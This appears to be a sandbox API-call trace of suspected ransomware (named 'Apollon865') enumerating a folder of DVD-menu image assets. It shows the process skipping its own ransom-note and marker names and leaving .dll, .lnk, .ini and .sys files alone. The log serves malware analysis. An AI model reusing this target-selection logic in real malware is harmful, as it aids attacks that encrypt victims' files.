	[0074.328] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.328] lstrlenW (lpString=".dll") returned 4
	[0074.328] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.328] lstrlenW (lpString=".lnk") returned 4
	[0074.329] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.329] lstrlenW (lpString=".ini") returned 4
	[0074.329] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.329] lstrlenW (lpString=".sys") returned 4
	[0074.329] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.329] lstrlenW (lpString="Circle_ButtonGraphic.png") returned 24
	[0074.329] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="circle_glass_Thumbnail.bmp" | out: lpString1="circle_glass_Thumbnail.bmp") returned="circle_glass_Thumbnail.bmp"
	[0074.329] lstrlenW (lpString="circle_glass_Thumbnail.bmp") returned 26
	[0074.329] lstrlenW (lpString="Apollon865") returned 10
	[0074.329] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.329] lstrlenW (lpString=".dll") returned 4
	[0074.329] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.329] lstrlenW (lpString=".lnk") returned 4
	[0074.329] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.329] lstrlenW (lpString=".ini") returned 4
	[0074.329] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.329] lstrlenW (lpString=".sys") returned 4
	[0074.329] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.329] lstrlenW (lpString="circle_glass_Thumbnail.bmp") returned 26
	[0074.329] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Circle_SelectionSubpictureA.png" | out: lpString1="Circle_SelectionSubpictureA.png") returned="Circle_SelectionSubpictureA.png"
	[0074.329] lstrlenW (lpString="Circle_SelectionSubpictureA.png") returned 31
	[0074.329] lstrlenW (lpString="Apollon865") returned 10
	[0074.329] lstrcmpiW (lpString1="ctureA.png", lpString2="Apollon865") returned 1
	[0074.329] lstrlenW (lpString=".dll") returned 4
	[0074.329] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".dll") returned 1
	[0074.329] lstrlenW (lpString=".lnk") returned 4
	[0074.329] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".lnk") returned 1
	[0074.329] lstrlenW (lpString=".ini") returned 4
	[0074.329] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".ini") returned 1
	[0074.329] lstrlenW (lpString=".sys") returned 4
	[0074.329] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".sys") returned 1
	[0074.329] lstrlenW (lpString="Circle_SelectionSubpictureA.png") returned 31
	[0074.330] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Circle_SelectionSubpictureB.png" | out: lpString1="Circle_SelectionSubpictureB.png") returned="Circle_SelectionSubpictureB.png"
	[0074.330] lstrlenW (lpString="Circle_SelectionSubpictureB.png") returned 31
	[0074.330] lstrlenW (lpString="Apollon865") returned 10
	[0074.330] lstrcmpiW (lpString1="ctureB.png", lpString2="Apollon865") returned 1
	[0074.330] lstrlenW (lpString=".dll") returned 4
	[0074.330] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".dll") returned 1
	[0074.330] lstrlenW (lpString=".lnk") returned 4
	[0074.330] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".lnk") returned 1
	[0074.330] lstrlenW (lpString=".ini") returned 4
	[0074.330] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".ini") returned 1
	[0074.330] lstrlenW (lpString=".sys") returned 4
	[0074.330] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".sys") returned 1
	[0074.330] lstrlenW (lpString="Circle_SelectionSubpictureB.png") returned 31
	[0074.330] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Circle_VideoInset.png" | out: lpString1="Circle_VideoInset.png") returned="Circle_VideoInset.png"
	[0074.330] lstrlenW (lpString="Circle_VideoInset.png") returned 21
	[0074.330] lstrlenW (lpString="Apollon865") returned 10
	[0074.330] lstrcmpiW (lpString1="oInset.png", lpString2="Apollon865") returned 1
	[0074.330] lstrlenW (lpString=".dll") returned 4
	[0074.330] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".dll") returned 1
	[0074.330] lstrlenW (lpString=".lnk") returned 4
	[0074.330] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".lnk") returned 1
	[0074.330] lstrlenW (lpString=".ini") returned 4
	[0074.330] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".ini") returned 1
	[0074.330] lstrlenW (lpString=".sys") returned 4
	[0074.330] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".sys") returned 1
	[0074.330] lstrlenW (lpString="Circle_VideoInset.png") returned 21
	[0074.330] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="cloud_Thumbnail.bmp" | out: lpString1="cloud_Thumbnail.bmp") returned="cloud_Thumbnail.bmp"
	[0074.330] lstrlenW (lpString="cloud_Thumbnail.bmp") returned 19
	[0074.330] lstrlenW (lpString="Apollon865") returned 10
	[0074.330] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.330] lstrlenW (lpString=".dll") returned 4
	[0074.331] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.331] lstrlenW (lpString=".lnk") returned 4
	[0074.331] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.331] lstrlenW (lpString=".ini") returned 4
	[0074.331] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.331] lstrlenW (lpString=".sys") returned 4
	[0074.331] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.331] lstrlenW (lpString="cloud_Thumbnail.bmp") returned 19
	[0074.331] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Dot.png" | out: lpString1="Dot.png") returned="Dot.png"
	[0074.331] lstrlenW (lpString="Dot.png") returned 7
	[0074.331] lstrlenW (lpString="Apollon865") returned 10
	[0074.331] lstrlenW (lpString=".dll") returned 4
	[0074.331] lstrcmpiW (lpString1="Dot.png", lpString2=".dll") returned 1
	[0074.331] lstrlenW (lpString=".lnk") returned 4
	[0074.331] lstrcmpiW (lpString1="Dot.png", lpString2=".lnk") returned 1
	[0074.331] lstrlenW (lpString=".ini") returned 4
	[0074.331] lstrcmpiW (lpString1="Dot.png", lpString2=".ini") returned 1
	[0074.331] lstrlenW (lpString=".sys") returned 4
	[0074.331] lstrcmpiW (lpString1="Dot.png", lpString2=".sys") returned 1
	[0074.331] lstrlenW (lpString="Dot.png") returned 7
	[0074.331] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="DvdTransform.fx" | out: lpString1="DvdTransform.fx") returned="DvdTransform.fx"
	[0074.331] lstrlenW (lpString="DvdTransform.fx") returned 15
	[0074.331] lstrlenW (lpString="Apollon865") returned 10
	[0074.331] lstrcmpiW (lpString1="ansform.fx", lpString2="Apollon865") returned -1
	[0074.331] lstrlenW (lpString=".dll") returned 4
	[0074.331] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".dll") returned 1
	[0074.331] lstrlenW (lpString=".lnk") returned 4
	[0074.331] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".lnk") returned 1
	[0074.331] lstrlenW (lpString=".ini") returned 4
	[0074.331] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".ini") returned 1
	[0074.331] lstrlenW (lpString=".sys") returned 4
	[0074.331] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".sys") returned 1
	[0074.331] lstrlenW (lpString="DvdTransform.fx") returned 15
	[0074.332] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="FlipPage" | out: lpString1="FlipPage") returned="FlipPage"
	[0074.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0074.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a8a8
	[0074.332] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7930
	[0074.332] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1
	[0074.332] lstrcmpiW (lpString1="Full", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.332] lstrcmpiW (lpString1="Full", lpString2="Apollon865.txt.exe") returned 1
	[0074.332] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Full" | out: lpString1="Full") returned="Full"
	[0074.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0074.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5afd58
	[0074.332] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7c30
	[0074.332] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0074.332] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.332] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="Apollon865.txt.exe") returned 1
	[0074.332] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Heart_ButtonGraphic.png" | out: lpString1="Heart_ButtonGraphic.png") returned="Heart_ButtonGraphic.png"
	[0074.332] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23
	[0074.332] lstrlenW (lpString="Apollon865") returned 10
	[0074.332] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.332] lstrlenW (lpString=".dll") returned 4
	[0074.332] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.332] lstrlenW (lpString=".lnk") returned 4
	[0074.332] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.332] lstrlenW (lpString=".ini") returned 4
	[0074.332] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.332] lstrlenW (lpString=".sys") returned 4
	[0074.332] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.332] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23
	[0074.332] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="heart_glass_Thumbnail.bmp" | out: lpString1="heart_glass_Thumbnail.bmp") returned="heart_glass_Thumbnail.bmp"
	[0074.332] lstrlenW (lpString="heart_glass_Thumbnail.bmp") returned 25
	[0074.332] lstrlenW (lpString="Apollon865") returned 10
	[0074.333] lstrcmpiW (lpString1="mbnail.bmp", lpString2="Apollon865") returned 1
	[0074.333] lstrlenW (lpString=".dll") returned 4
	[0074.333] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".dll") returned 1
	[0074.333] lstrlenW (lpString=".lnk") returned 4
	[0074.333] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".lnk") returned 1
	[0074.333] lstrlenW (lpString=".ini") returned 4
	[0074.333] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".ini") returned 1
	[0074.333] lstrlenW (lpString=".sys") returned 4
	[0074.333] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".sys") returned 1
	[0074.333] lstrlenW (lpString="heart_glass_Thumbnail.bmp") returned 25
	[0074.333] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Heart_SelectionSubpicture.png" | out: lpString1="Heart_SelectionSubpicture.png") returned="Heart_SelectionSubpicture.png"
	[0074.333] lstrlenW (lpString="Heart_SelectionSubpicture.png") returned 29
	[0074.333] lstrlenW (lpString="Apollon865") returned 10
	[0074.333] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.333] lstrlenW (lpString=".dll") returned 4
	[0074.333] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.333] lstrlenW (lpString=".lnk") returned 4
	[0074.333] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.333] lstrlenW (lpString=".ini") returned 4
	[0074.333] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.333] lstrlenW (lpString=".sys") returned 4
	[0074.333] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.333] lstrlenW (lpString="Heart_SelectionSubpicture.png") returned 29
	[0074.333] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Heart_VideoInset.png" | out: lpString1="Heart_VideoInset.png") returned="Heart_VideoInset.png"
	[0074.333] lstrlenW (lpString="Heart_VideoInset.png") returned 20
	[0074.333] lstrlenW (lpString="Apollon865") returned 10
	[0074.333] lstrcmpiW (lpString1="oInset.png", lpString2="Apollon865") returned 1
	[0074.333] lstrlenW (lpString=".dll") returned 4
	[0074.333] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".dll") returned 1
	[0074.333] lstrlenW (lpString=".lnk") returned 4
	[0074.333] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".lnk") returned 1
	[0074.333] lstrlenW (lpString=".ini") returned 4
	[0074.334] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".ini") returned 1
	[0074.334] lstrlenW (lpString=".sys") returned 4
	[0074.334] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".sys") returned 1
	[0074.334] lstrlenW (lpString="Heart_VideoInset.png") returned 20
	[0074.335] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="HueCycle" | out: lpString1="HueCycle") returned="HueCycle"
	[0074.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0074.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a998
	[0074.335] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0074.335] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1
	[0074.335] lstrcmpiW (lpString1="LayeredTitles", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.335] lstrcmpiW (lpString1="LayeredTitles", lpString2="Apollon865.txt.exe") returned 1
	[0074.335] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="LayeredTitles" | out: lpString1="LayeredTitles") returned="LayeredTitles"
	[0074.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0074.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0074.335] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0074.335] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1
	[0074.335] lstrcmpiW (lpString1="Memories", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.335] lstrcmpiW (lpString1="Memories", lpString2="Apollon865.txt.exe") returned 1
	[0074.335] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Memories" | out: lpString1="Memories") returned="Memories"
	[0074.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0074.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59aa10
	[0074.335] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7b70
	[0074.335] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1
	[0074.335] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.335] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="Apollon865.txt.exe") returned 1
	[0074.336] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="menu_style_default_Thumbnail.png" | out: lpString1="menu_style_default_Thumbnail.png") returned="menu_style_default_Thumbnail.png"
	[0074.336] lstrlenW (lpString="menu_style_default_Thumbnail.png") returned 32
	[0074.336] lstrlenW (lpString="Apollon865") returned 10
	[0074.336] lstrcmpiW (lpString1="mbnail.png", lpString2="Apollon865") returned 1
	[0074.336] lstrlenW (lpString=".dll") returned 4
	[0074.336] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".dll") returned 1
	[0074.336] lstrlenW (lpString=".lnk") returned 4
	[0074.336] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".lnk") returned 1
	[0074.336] lstrlenW (lpString=".ini") returned 4
	[0074.336] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".ini") returned 1
	[0074.336] lstrlenW (lpString=".sys") returned 4
	[0074.336] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".sys") returned 1
	[0074.336] lstrlenW (lpString="menu_style_default_Thumbnail.png") returned 32
	[0074.336] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png"
	[0074.336] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.336] lstrlenW (lpString="Apollon865") returned 10
	[0074.336] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.336] lstrlenW (lpString=".dll") returned 4
	[0074.336] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.336] lstrlenW (lpString=".lnk") returned 4
	[0074.336] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.336] lstrlenW (lpString=".ini") returned 4
	[0074.336] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.336] lstrlenW (lpString=".sys") returned 4
	[0074.336] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.336] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.336] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png"
	[0074.336] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.336] lstrlenW (lpString="Apollon865") returned 10
	[0074.336] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.336] lstrlenW (lpString=".dll") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.337] lstrlenW (lpString=".lnk") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.337] lstrlenW (lpString=".ini") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.337] lstrlenW (lpString=".sys") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.337] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.337] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png"
	[0074.337] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.337] lstrlenW (lpString="Apollon865") returned 10
	[0074.337] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.337] lstrlenW (lpString=".dll") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.337] lstrlenW (lpString=".lnk") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.337] lstrlenW (lpString=".ini") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.337] lstrlenW (lpString=".sys") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.337] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.337] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png"
	[0074.337] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.337] lstrlenW (lpString="Apollon865") returned 10
	[0074.337] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.337] lstrlenW (lpString=".dll") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.337] lstrlenW (lpString=".lnk") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.337] lstrlenW (lpString=".ini") returned 4
	[0074.337] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.337] lstrlenW (lpString=".sys") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.338] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.338] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png"
	[0074.338] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.338] lstrlenW (lpString="Apollon865") returned 10
	[0074.338] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.338] lstrlenW (lpString=".dll") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.338] lstrlenW (lpString=".lnk") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.338] lstrlenW (lpString=".ini") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.338] lstrlenW (lpString=".sys") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.338] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.338] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png"
	[0074.338] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.338] lstrlenW (lpString="Apollon865") returned 10
	[0074.338] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.338] lstrlenW (lpString=".dll") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.338] lstrlenW (lpString=".lnk") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.338] lstrlenW (lpString=".ini") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.338] lstrlenW (lpString=".sys") returned 4
	[0074.338] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.338] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.338] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="OldAge" | out: lpString1="OldAge") returned="OldAge"
	[0074.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0074.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afdc8
	[0074.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7ad0
	[0074.339] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1
	[0074.339] lstrcmpiW (lpString1="Performance", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.339] lstrcmpiW (lpString1="Performance", lpString2="Apollon865.txt.exe") returned 1
	[0074.339] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Performance" | out: lpString1="Performance") returned="Performance"
	[0074.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0074.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59aa88
	[0074.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
